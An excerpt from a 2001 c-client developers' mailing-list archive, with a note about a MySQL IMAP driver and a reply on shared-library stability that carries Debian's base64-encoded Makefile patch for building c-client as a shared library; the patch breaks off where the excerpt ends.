(Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Okay, disregard what I said about Outlook. Further investigation has proven that Outlook 2000 isn't even trying to connect to the IMAP box before displaying errors, so the problem lies outside of the c-client driver. If anyone (with C skills!) is interested in the MySQL c-client driver, they are still welcome to email me. Cyrus *** I have developed a 'functional' perhaps that's the the correct word... 'working' MySQL driver for c-client to use with (UW's IMAPD and) my web-mail program (http://www.spannermail.com). It works reasonably well, and I'm considering releasing it into the public domain. However there are few little quirks that I can't quite resolve. Esp my Outlook 2000 client has a habit of saying that it couldn't open my Inbox and that it's local cache may be out of date. This vexes me considerably, as I am using the database ID field (a unique static identifier) for my UID field, so there is really no way that information could have changed. I've looked at the packets that are flowing back and forth, and everything seems to be correct, yet outlook give me these errors all the time. Anyway, if I can perfect the driver, then I will release it. Otherwise I don't really want to embarrass myself by releasing a half-working driver. :) Feel free to signup and try the IMAP daemon on your client if you are interested in helping me out. Thanks. Cyrus *** END PGP VERIFIED MESSAGE *** From pinedev@shivax2.cac.washington.edu Tue Jun 19 07:31:09 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 19 Jun 2001 07:31:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JEV7D20305 for ; Tue, 19 Jun 2001 07:31:07 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jun 19 07:31:06 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JEV4u23127; Tue, 19 Jun 2001 07:31:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f5JEUoE18618; Tue, 19 Jun 2001 07:30:50 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JETj0113694 for ; Tue, 19 Jun 2001 07:29:45 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JETjF25716 for ; Tue, 19 Jun 2001 07:29:45 -0700 Received: from mail.braincells.com (samadhi.braincells.com [216.99.37.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f5JETeC13963 for ; Tue, 19 Jun 2001 07:29:44 -0700 Received: from [192.168.1.11] (cc52061-a.jrsycty1.nj.home.com [24.11.66.33]) by mail.braincells.com (Postfix) with ESMTP id B0E967F46 for ; Tue, 19 Jun 2001 10:29:33 -0400 (EDT) Message-Id: Date: Tue, 19 Jun 2001 10:29:32 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Subject: Re: 'mailsync' program experiences & loss of mail problem? In-Reply-To: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1463809023-1158077530-992960782=:6391" X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463809023-1158077530-992960782=:6391 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Jun 2001, Mark Crispin wrote: > > It's a question of what you mean by "stable". > > For the definition of "stable" as "nothing changes in it any more, it'll be > the same next year as it is now", then c-client most assuredly is not stable. > I work on c-client and related software (including imapd) on a daily basis. > The only time c-client is "stable" in that sense is when I go on vacation. > > For the definition of "stable" as in "can you build reliable applications from > it" then c-client has been stable for many years. > > The problem is, for the purposes of shared libraries, I fear that the former > definition of "stable" is the one that most people care about. > FWIW, I've been building a shared library of c-client since 4.5 or so and I've never had a problem due to changing APIs etc. > I don't see much benefit to having 3+ versions of c-client shared library > lying around, and it's unfortunate if, as is reported, that is the status quo > on Debian. > There are actually 4. Due to stupid US crypto policy we have to have a seperate SSLized version (kept offshore) and a version without SSL. And for each of those variants there is a static library for the purists and a shared library for us wild and crazy guys on the edge. :-) If I had my druthers, everyone would switch to the shared lib with SSL support but I try to give people a choice. It would be nice if the c-client distribution gave people the extra choice of building as a shared library. I'm attaching Debians' shared library patch to this message for anyone who might be interested. -- Jaldhar H. Vyas ---1463809023-1158077530-992960782=:6391 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="shlib.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: patch for shared c-client lib Content-Disposition: attachment; filename="shlib.patch" LS0tIHV3LWltYXAtMjAwMC5vcmlnL3NyYy9pbWFwZC9NYWtlZmlsZQ0KKysr IHV3LWltYXAtMjAwMC9zcmMvaW1hcGQvTWFrZWZpbGUNCkBAIC0zNCwxNyAr MzQsMTkgQEANCiBBTEVSVD0vZXRjL2ltYXBkLmFsZXJ0DQogVVNFUkFMRVJU PS5pbWFwYWxlcnQNCiBBTk89L2V0Yy9hbm9ueW1vdXMubmV3c2dyb3Vwcw0K K0NDTElFTlRMSUIgPSAkQy9gY2F0ICRDLyRBUkNISVZFTkFNRWANCiBTSEVM TD0gL2Jpbi9zaA0KIA0KIA0KICMgR2V0IGxvY2FsIGRlZmluaXRpb25zIGZy b20gYy1jbGllbnQgZGlyZWN0b3J5DQogDQogQyA9IC4uL2MtY2xpZW50DQot Q0NMSUVOVExJQiA9ICRDL2MtY2xpZW50LmENCitDQ0xJRU5UTElCID0gJEMv YGNhdCAkQy8kQVJDSElWRU5BTUVgDQorDQogQ0MgPSBgY2F0ICRDL0NDVFlQ RWANCiBDRkxBR1MgPSAtSSRDIGBjYXQgJEMvQ0ZMQUdTYCAtREFOT0ZJTEU9 XCIkKEFOTylcIiBcDQogCS1EQUxFUlRGSUxFPVwiJChBTEVSVClcIiAtRFVT RVJBTEVSVEZJTEU9XCIkKFVTRVJBTEVSVClcIg0KLUxERkxBR1MgPSAkKEND TElFTlRMSUIpIGBjYXQgJEMvTERGTEFHU2ANCitMREZMQUdTID0gYGNhdCAk Qy9MREZMQUdTYA0KIA0KIGFsbDoJaW1hcGQNCiANCi0tLSB1dy1pbWFwLTIw MDAub3JpZy9zcmMvaXBvcGQvTWFrZWZpbGUNCisrKyB1dy1pbWFwLTIwMDAv c3JjL2lwb3BkL01ha2VmaWxlDQpAQCAtMzIsMTQgKzMyLDE0IEBADQogDQog DQogQyA9IC4uL2MtY2xpZW50DQotQ0NMSUVOVExJQiA9ICRDL2MtY2xpZW50 LmENCitDQ0xJRU5UTElCID0gJEMvYGNhdCAkQy8kQVJDSElWRU5BTUVgDQog U0hFTEwgPSAvYmluL3NoDQogDQogIyBHZXQgbG9jYWwgZGVmaW5pdGlvbnMg ZnJvbSBjLWNsaWVudCBkaXJlY3RvcnkNCiANCiBDQyA9IGBjYXQgJEMvQ0NU WVBFYA0KIENGTEFHUyA9IC1JJEMgYGNhdCAkQy9DRkxBR1NgDQotTERGTEFH UyA9ICQoQ0NMSUVOVExJQikgYGNhdCAkQy9MREZMQUdTYA0KK0xERkxBR1Mg PSBgY2F0ICRDL0xERkxBR1NgDQogDQogaXBvcGQ6IGlwb3AyZCBpcG9wM2QN CiANCi0tLSB1dy1pbWFwLTIwMDAub3JpZy9zcmMvb3NkZXAvdW5peC9NYWtl ZmlsZQ0KKysrIHV3LWltYXAtMjAwMC9zcmMvb3NkZXAvdW5peC9NYWtlZmls ZQ0KQEAgLTEzOCw3ICsxMzgsNyBAQA0KIAkgU1BPT0xESVI9L3Zhci9zcG9v bCBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JzaCBcDQogCSBCQVNFQ0ZMQUdT PSItZyAtRHVuaXg9MSAtRF9CU0QiIFwNCi0JIEJBU0VMREZMQUdTPSItbGJz ZCINCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1s YnNkIg0KIA0KIGE0MToJIyBBSVggNC4xIGZvciBSUy82MDAwDQogCSQoQlVJ TEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9JEAgXA0KQEAgLTE0Niw3ICsx NDYsNyBAQA0KIAkgU1BPT0xESVI9L3Zhci9zcG9vbCBcDQogCSBSU0hQQVRI PS91c3IvYmluL3JzaCBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtRHVuaXg9MSAt RF9CU0QiIFwNCi0JIEJBU0VMREZMQUdTPSItbGJzZCAtbHMiDQorCSBCQVNF TERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSAtbGJzZCAtbHMiDQog DQogYWl4OgkjIEFJWC8zNzANCiAJQGVjaG8gWW91IGFyZSBidWlsZGluZyBm b3IgQUlYIG9uIGFuIFMvMzcwIGNsYXNzIG1hY2hpbmUNCkBAIC0xNTQsMTIg KzE1NCwxMyBAQA0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNgIE9T PSRAIFwNCiAJIENSWFRZUEU9bmZzIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIiBc DQotCSBCQVNFTERGTEFHUz0iLWxic2QiDQorCSBCQVNFTERGTEFHUz0iLi4v Yy1jbGllbnQvYy1jbGllbnQuYSAtbGJzZCINCiANCiBhb3M6CSMgQU9TIGZv ciBSVA0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNgIE9TPSRAIFwN CiAJIENSWFRZUEU9bmZzIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1EY29uc3Q9 Ig0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiDQog DQogYXJ0OgkjIEFJWCAyLjIuMSBmb3IgUlQNCiAJJChCVUlMRCkgYGNhdCBF WFRSQVNQRUNJQUxTYCBPUz0kQCBcDQpAQCAtMTY4LDYgKzE2OSw3IEBADQog CSBBQ1RJVkVGSUxFPS91c3IvbG9jYWwvbmV3cy9jb250cm9sL2FjdGl2ZSBc DQogCSBSU0hQQVRIPS9iaW4vcnNoIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1E Y29uc3Q9IC1Edm9pZD1jaGFyIiBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1j bGllbnQvYy1jbGllbnQuYSIgXA0KIAkgUkFOTElCPXRydWUgDQogDQogYXN2 OgkjIEFsdG9zIFNWUjQNCkBAIC0xNzYsNyArMTc4LDcgQEANCiAJIEFDVElW RUZJTEU9L3Vzci9zcG9vbC9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91 c3IvYmluL3JjbWQgXA0KIAkgQkFTRUNGTEFHUz0iLURjb25zdD0gLURTSUdT VE9QPVNJR0tJTEwiIFwNCi0JIEJBU0VMREZMQUdTPSItbHNvY2tldCAtbHJw YyAtbGdlbiAtbGNyeXB0IC1seGVuaXgiIFwNCisJIEJBU0VMREZMQUdTPSIu Li9jLWNsaWVudC9jLWNsaWVudC5hIC1sc29ja2V0IC1scnBjIC1sZ2VuIC1s Y3J5cHQgLWx4ZW5peCIgXA0KIAkgUkFOTElCPXRydWUNCiANCiBhdXg6CSMg QS9VWA0KQEAgLTE5Miw2ICsxOTQsNyBAQA0KIAkgU1BPT0xESVI9L3ZhciBO RVdTU1BPT0w9L3Zhci9uZXdzL3Nwb29sIFwNCiAJIEFDVElWRUZJTEU9L3Zh ci9uZXdzL2V0Yy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yc2gg XA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwN CiAJIEJBU0VDRkxBR1M9Ii1nIC1PMiAtcGlwZSIgQ0M9c2hsaWNjDQogDQog YnNkOgkjIEJTRCBVTklYDQpAQCAtMjA2LDcgKzIwOSw3IEBADQogCSBBQ1RJ VkVGSUxFPS91c3IvbG9jYWwvbmV3cy9saWIvYWN0aXZlIFwNCiAJIFJTSFBB VEg9L3Vzci9iaW4vcnNoIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1PIC1waXBl IiBcDQotCSBCQVNFTERGTEFHUz0iLWxjcnlwdCINCisJIEJBU0VMREZMQUdT PSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sY3J5cHQiDQogDQogYnNpOgkj IEJTRC9pMzg2DQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9 JEAgXA0KQEAgLTIxNCw2ICsyMTcsNyBAQA0KIAkgU1BPT0xESVI9L3ZhciBO RVdTU1BPT0w9L3Zhci9uZXdzL3Nwb29sIFwNCiAJIEFDVElWRUZJTEU9L3Zh ci9uZXdzL2V0Yy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yc2gg XA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwN CiAJIEJBU0VDRkxBR1M9Ii1nIC1PMiAtcGlwZSINCiANCiBic286CSMgT3Bl bkJTRA0KQEAgLTIyMiwxMSArMjI2LDEzIEBADQogCSBTUE9PTERJUj0vdmFy IFwNCiAJIEFDVElWRUZJTEU9L3Vzci9sb2NhbC9uZXdzL2xpYi9hY3RpdmUg XA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yc2ggXA0KKwkgQkFTRUxERkxBR1M9 Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9Ii1P MiAtcGlwZSINCiANCiBjdng6CSMgQ29udmV4DQogCSQoQlVJTEQpIGBjYXQg RVhUUkFTUEVDSUFMU2AgT1M9JEAgXA0KIAkgQ1JYVFlQRT1uZnMgXA0KKwkg QkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJB U0VDRkxBR1M9Ii1PIC1leHQgLURjb25zdD0iDQogDQogZC1nOgkjIERhdGEg R2VuZXJhbCBERy9VWA0KQEAgLTIzNiw3ICsyNDIsNyBAQA0KIAkgQUNUSVZF RklMRT0vbG9jYWwvbmV3cy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jp bi9yZW1zaCBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtRGNvbnN0PSIgXA0KLQkg QkFTRUxERkxBR1M9Ii1sbnNsIC1sc29ja2V0IiBcDQorCSBCQVNFTERGTEFH Uz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSAtbG5zbCAtbHNvY2tldCIgXA0K IAkgUkFOTElCPXRydWUNCiANCiBkNTQ6CSMgRGF0YSBHZW5lcmFsIERHL1VY IDUuNA0KQEAgLTI0Niw3ICsyNTIsNyBAQA0KIAkgQUNUSVZFRklMRT0vbG9j YWwvbmV3cy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yZW1zaCBc DQogCSBCQVNFQ0ZMQUdTPSItZyAtRGNvbnN0PSIgXA0KLQkgQkFTRUxERkxB R1M9Ii1sbnNsIC1sc29ja2V0IiBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1j bGllbnQvYy1jbGllbnQuYSAtbG5zbCAtbHNvY2tldCIgXA0KIAkgUkFOTElC PXRydWUNCiANCiBkcHg6CSMgQnVsbCBEUFgvMg0KQEAgLTI1NCw3ICsyNjAs NyBAQA0KIAkgU0lHVFlQRT1zdjQgQ0hFQ0tQVz1zdjQgTE9HSU5QVz1zdjQg XA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yZW1zaCBcDQogCSBCQVNFQ0ZMQUdT PSItRGNvbnN0PSAtRFNZU1RFTTUgLURTSE9SVF9JREVOVCIgXA0KLQkgQkFT RUxERkxBR1M9Ii1saW5ldCIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xp ZW50L2MtY2xpZW50LmEgLWxpbmV0IiBcDQogCSBSQU5MSUI9dHJ1ZSBMTj1s bg0KIA0KIGRyczoJIyBJQ0wgRFJTL05YDQpAQCAtMjY0LDE4ICsyNzAsMjAg QEANCiAJIEFDVElWRUZJTEU9L3Zhci9saWIvbmV3cy9hY3RpdmUgXA0KIAkg UlNIUEFUSD0vdXNyL2Jpbi9yc2ggXA0KIAkgQkFTRUNGTEFHUz0iLU8iIFwN Ci0JIEJBU0VMREZMQUdTPSItbHNvY2tldCAtbGdlbiIgXA0KKwkgQkFTRUxE RkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEgLWxzb2NrZXQgLWxnZW4i IFwNCiAJIFJBTkxJQj10cnVlDQogDQogZG80OgkjIEFwb2xsbyBEb21haW4v T1Mgc3IxMC40DQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVDSUFMU2AgT1M9 JEAgXA0KIAkgQ1JYVFlQRT1uZnMgXA0KIAkgQkFTRUNGTEFHUz0iLUEgc3lz dHlwZSxic2Q0LjMgLURfQVBPTExPX1NPVVJDRSIgXA0KKwkgQkFTRUxERkxB R1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIFJBTkxJQj10cnVl DQogDQogZHluOgkjIER5bml4DQogCSQoQlVJTEQpIGBjYXQgRVhUUkFTUEVD SUFMU2AgT1M9JEAgXA0KIAkgQ1JYVFlQRT1uZnMgXA0KKwkgQkFTRUxERkxB R1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxBR1M9 Ii1nIC1EY29uc3Q9Ig0KIA0KIGVweDoJIyBFUC9JWA0KQEAgLTI4NSw3ICsy OTMsNyBAQA0KIAkgQUNUSVZFRklMRT0vdXNyL3NoYXJlL25ld3MvYWN0aXZl IFwNCiAJIFJTSFBBVEg9L3Vzci9uZXQvcnNoIFwNCiAJIEJBU0VDRkxBR1M9 Ii1nIC1zeXN0eXBlIHN2cjQiIFwNCi0JIEJBU0VMREZMQUdTPSItbHNvY2tl dCAtbG5zbCAtbGdlbiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50 L2MtY2xpZW50LmEgLWxzb2NrZXQgLWxuc2wgLWxnZW4iIFwNCiAJIFJBTkxJ Qj10cnVlDQogDQogZ2FzOgkjIEdDQyBBbHRvcyBTVlI0DQpAQCAtMjk0LDcg KzMwMiw3IEBADQogCSBBQ1RJVkVGSUxFPS91c3Ivc3Bvb2wvbmV3cy9hY3Rp dmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yY21kIFwNCiAJIEJBU0VDRkxB R1M9Ii1nIC1PIC1EQUxUT1NfU1lTVEVNX1YgLURTSUdTVE9QPVNJR0tJTEwi IFwNCi0JIEJBU0VMREZMQUdTPSItbHNvY2tldCAtbHJwYyAtbGdlbiAtbGNy eXB0IC1seGVuaXgiIFwNCisJIEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9j LWNsaWVudC5hIC1sc29ja2V0IC1scnBjIC1sZ2VuIC1sY3J5cHQgLWx4ZW5p eCIgXA0KIAkgUkFOTElCPXRydWUgQ0M9Z2NjDQogDQogZ2g5OgkjIEdDQyBI UC1VWDkueA0KQEAgLTMwMyw2ICszMTEsNyBAQA0KIAkgTUFJTFNQT09MPS91 c3IvbWFpbCBcDQogCSBSU0hQQVRIPS91c3IvYmluL3JlbXNoIFwNCiAJIEJB U0VDRkxBR1M9Ii1nIC1PMiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xp ZW50L2MtY2xpZW50LmEiIFwNCiAJIFJBTkxJQj10cnVlIENDPWdjYw0KIA0K IGdocDoJIyBHQ0MgSFAtVVgNCkBAIC0zMTIsNiArMzIxLDcgQEANCiAJIEFD VElWRUZJTEU9L3Zhci9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRIPS91c3Iv YmluL3JlbXNoIFwNCiAJIEJBU0VDRkxBR1M9Ii1nIC1PMiIgXA0KKwkgQkFT RUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIFJBTkxJ Qj10cnVlIENDPWdjYw0KIA0KIGdzNToJIyBHQ0MgMi43LjEgKDk1cTQpIFND TyBPcGVuIFNlcnZlciA1LjAueA0KQEAgLTMyMiw3ICszMzIsNyBAQA0KIAkg QUNUSVZFRklMRT0vdmFyL2xpYi9uZXdzL2FjdGl2ZSBcDQogCSBSU0hQQVRI PS91c3IvYmluL3JjbWQgXA0KIAkgQkFTRUNGTEFHUz0iLU8zIC1iZWxmIC1J L3Vzci9pbmNsdWRlIC1ML2xpYiIgXA0KLQkgQkFTRUxERkxBR1M9Ii1sc29j a2V0IC1sY3J5cHQgLWxwcm90IC1seCAtbHRpbmZvIC1sbSIgXA0KKwkgQkFT RUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEgLWxzb2NrZXQgLWxj cnlwdCAtbHByb3QgLWx4IC1sdGluZm8gLWxtIiBcDQogCSBSQU5MSUI9dHJ1 ZSBDQz1nY2MNCiANCiAjIElzIHRoZSBiaXphcnJlIE1BS0VGTEFHUz0gbmVl ZGVkIGhlcmU/DQpAQCAtMzMzLDYgKzM0Myw3IEBADQogCSBNQUlMU1BPT0w9 L3Vzci9tYWlsIFwNCiAJIFJTSFBBVEg9L3Vzci9ic2QvcnNoIFwNCiAJIEJB U0VDRkxBR1M9Ii1nIC1PMiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xp ZW50L2MtY2xpZW50LmEiIFwNCiAJIFJBTkxJQj10cnVlIENDPWdjYw0KIA0K IGdzbzoJIyBHQ0MgU29sYXJpcw0KQEAgLTM0MiwyMSArMzUzLDIxIEBADQog CSBBQ1RJVkVGSUxFPS91c3Ivc2hhcmUvbmV3cy9hY3RpdmUgXA0KIAkgUlNI UEFUSD0vdXNyL2Jpbi9yc2ggXA0KIAkgQkFTRUNGTEFHUz0iLWcgLU8yIiBc DQotCSBCQVNFTERGTEFHUz0iLWxzb2NrZXQgLWxuc2wgLWxnZW4iIFwNCisJ IEJBU0VMREZMQUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sc29ja2V0 IC1sbnNsIC1sZ2VuIiBcDQogCSBSQU5MSUI9dHJ1ZSBDQz1nY2MNCiANCiBn c3U6CSMgR0NDIFNVTi1PUw0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lB TFNgIE9TPXN1biBcDQogCSBDUlhUWVBFPW5mcyBcDQogCSBCQVNFQ0ZMQUdT PSItZyAtTzIiIFwNCi0JIEJBU0VMREZMQUdTPSItbGRsIiBcDQorCSBCQVNF TERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSAtbGRsIiBcDQogCSBD Qz1nY2MNCiANCiBndWw6CSMgR0NDIFVsdHJpeA0KIAkkKEJVSUxEKSBgY2F0 IEVYVFJBU1BFQ0lBTFNgIE9TPXVsdCBcDQogCSBTSUdUWVBFPXBzeCBDSEVD S1BXPXVsdCBDUlhUWVBFPW5mcyBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtTyIg XA0KLQkgQkFTRUxERkxBR1M9Ii1sYXV0aCAtbGMiIFwNCisJIEJBU0VMREZM QUdTPSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1sYXV0aCAtbGMiIFwNCiAJ IENDPWdjYw0KIA0KIGhwcDoJIyBIUC1VWCA5LngNCkBAIC0zNjUsNyArMzc2 LDcgQEANCiAJIE1BSUxTUE9PTD0vdXNyL21haWwgXA0KIAkgUlNIUEFUSD0v dXNyL2Jpbi9yZW1zaCBcDQogCSBCQVNFQ0ZMQUdTPSItZyAtQWEgLURfSFBV WF9TT1VSQ0UiIFwNCi0JIEJBU0VMREZMQUdTPSItbG5ldCAtbFYzIiBcDQor CSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQuYSAtbG5ldCAt bFYzIiBcDQogCSBSQU5MSUI9dHJ1ZQ0KIA0KIGhweDoJIyBIUC1VWCAxMC54 DQpAQCAtMzc1LDcgKzM4Niw3IEBADQogCSBBQ1RJVkVGSUxFPS92YXIvbmV3 cy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNyL2Jpbi9yZW1zaCBcDQogCSBC QVNFQ0ZMQUdTPSItZyAtQWUiIFwNCi0JIEJBU0VMREZMQUdTPSItbG5ldCAt bFYzIiBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1jbGllbnQvYy1jbGllbnQu YSAtbG5ldCAtbFYzIiBcDQogCSBSQU5MSUI9dHJ1ZQ0KIA0KIGlzYzoJIyBJ bnRlcmFjdGl2ZQ0KQEAgLTM4NCw3ICszOTUsNyBAQA0KIAkgU1BPT0xESVI9 L3Zhci9zcG9vbCBNQUlMU1BPT0w9L3Zhci9tYWlsIFwNCiAJIEFDVElWRUZJ TEU9L3Zhci9zcG9vbC9uZXdzL2FjdGl2ZSBcDQogCSBCQVNFQ0ZMQUdTPSIt WHAgLURfU1lTVjMiIFwNCi0JIEJBU0VMREZMQUdTPSItbGluZXQgLWxuc2xf cyAtbGdlbiAtbHggLWxzZWMgLWxpYmVydHkiIFwNCisJIEJBU0VMREZMQUdT PSIuLi9jLWNsaWVudC9jLWNsaWVudC5hIC1saW5ldCAtbG5zbF9zIC1sZ2Vu IC1seCAtbHNlYyAtbGliZXJ0eSIgXA0KIAkgUkFOTElCPXRydWUNCiANCiBs bnA6CSMgTGludXggUGx1Z2dhYmxlIEF1dGhlbnRpY2F0aW9uIG1vZHVsZXMN CkBAIC0zOTMsOCArNDA0LDIwIEBADQogCSBTUE9PTERJUj0vdmFyL3Nwb29s IFwNCiAJIEFDVElWRUZJTEU9L3Zhci9saWIvbmV3cy9hY3RpdmUgXA0KIAkg UlNIUEFUSD0vdXNyL2Jpbi9yc2ggXA0KLQkgQkFTRUNGTEFHUz0iLWcgLWZu by1vbWl0LWZyYW1lLXBvaW50ZXIgLU82IiBcDQotCSBCQVNFTERGTEFHUz0i LWxwYW0gLWxkbCINCisJIEJBU0VDRkxBR1M9Ii1nIC1mbm8tb21pdC1mcmFt ZS1wb2ludGVyIC1PMiIgXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50 L2MtY2xpZW50LmEgLWxwYW0gLWxkbCINCisNCitsbnBzOgkjIExpbnV4IFBs dWdnYWJsZSBBdXRoZW50aWNhdGlvbiBtb2R1bGVzIChjLWNsaWVudCBhcyBz aGFyZWQgbGliKQ0KKwkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNgIE9T PWxueCBcDQorCSBTSUdUWVBFPXBzeCBDSEVDS1BXPXBhbSBDUlhUWVBFPW5m cyBcDQorCSBTUE9PTERJUj0vdmFyL3Nwb29sIFwNCisJIEFDVElWRUZJTEU9 L3Zhci9saWIvbmV3cy9hY3RpdmUgXA0KKwkgUlNIUEFUSD0vdXNyL2Jpbi9y c2ggXA0KKwkgQkFTRUNGTEFHUz0iLWZQSUMgLWcgLWZuby1vbWl0LWZyYW1l LXBvaW50ZXIgLU8yIC1ETkZTS0xVREdFIiBcDQorCSBBUkNISVZFPSJsaWJj LWNsaWVudC5zbyIgXA0KKwkgQkFTRUxERkxBR1M9Ii1MLi4vYy1jbGllbnQg LWxjLWNsaWVudCAtbHBhbSAtbGRsIC1sYyIgXA0KKwkgQVJSQz0ibGQgLXNo YXJlZCAtc29uYW1lIGxpYmMtY2xpZW50LnNvLiQoVkVSU0lPTikgLWxwYW0g LWxkbCAtbGMgLW8iIFwNCisJIFJBTkxJQj10cnVlDQogDQogbG54OgkjIExp bnV4IG5vbi1zaGFkb3cgcGFzc3dvcmRzDQogCUBlY2hvIFlvdSBhcmUgYnVp bGRpbmcgZm9yIHRyYWRpdGlvbmFsIExpbnV4ICp3aXRob3V0KiBzaGFkb3cN CkBAIC00MDYsNiArNDI5LDcgQEANCiAJIFNQT09MRElSPS92YXIvc3Bvb2wg XA0KIAkgQUNUSVZFRklMRT0vdmFyL2xpYi9uZXdzL2FjdGl2ZSBcDQogCSBS U0hQQVRIPS91c3IvYmluL3JzaCBcDQorCSBCQVNFTERGTEFHUz0iLi4vYy1j bGllbnQvYy1jbGllbnQuYSIgXA0KIAkgQkFTRUNGTEFHUz0iLWcgLU8iDQog DQogbHluOgkjIEx5bnhPUw0KQEAgLTQxOSw2ICs0NDMsNyBAQA0KIG1jdDoJ IyBNYWNoVGVuIC0gQ1JYVFlQRT1uZnMgZG9lc24ndCB3b3JrIChhdCBsZWFz dCBub3Qgb24gMi4yKQ0KIAkkKEJVSUxEKSBgY2F0IEVYVFJBU1BFQ0lBTFNg IE9TPSRAIFwNCiAJIFNQT09MRElSPS92YXIvc3Bvb2wgXA0KKwkgQkFTRUxE RkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xpZW50LmEiIFwNCiAJIEJBU0VDRkxB R1M9Ii1nIC1PIC1waXBlIg0KIA0KIG1udDoJIyBNaW50DQpAQCAtNDI3LDYg KzQ1Miw3IEBADQogCSBTUE9PTERJUj0vdmFyL3Nwb29sIFwNCiAJIEFDVElW RUZJTEU9L3Zhci9saWIvbmV3cy9hY3RpdmUgXA0KIAkgUlNIUEFUSD0vdXNy L2Jpbi9yc2ggXA0KKwkgQkFTRUxERkxBR1M9Ii4uL2MtY2xpZW50L2MtY2xp 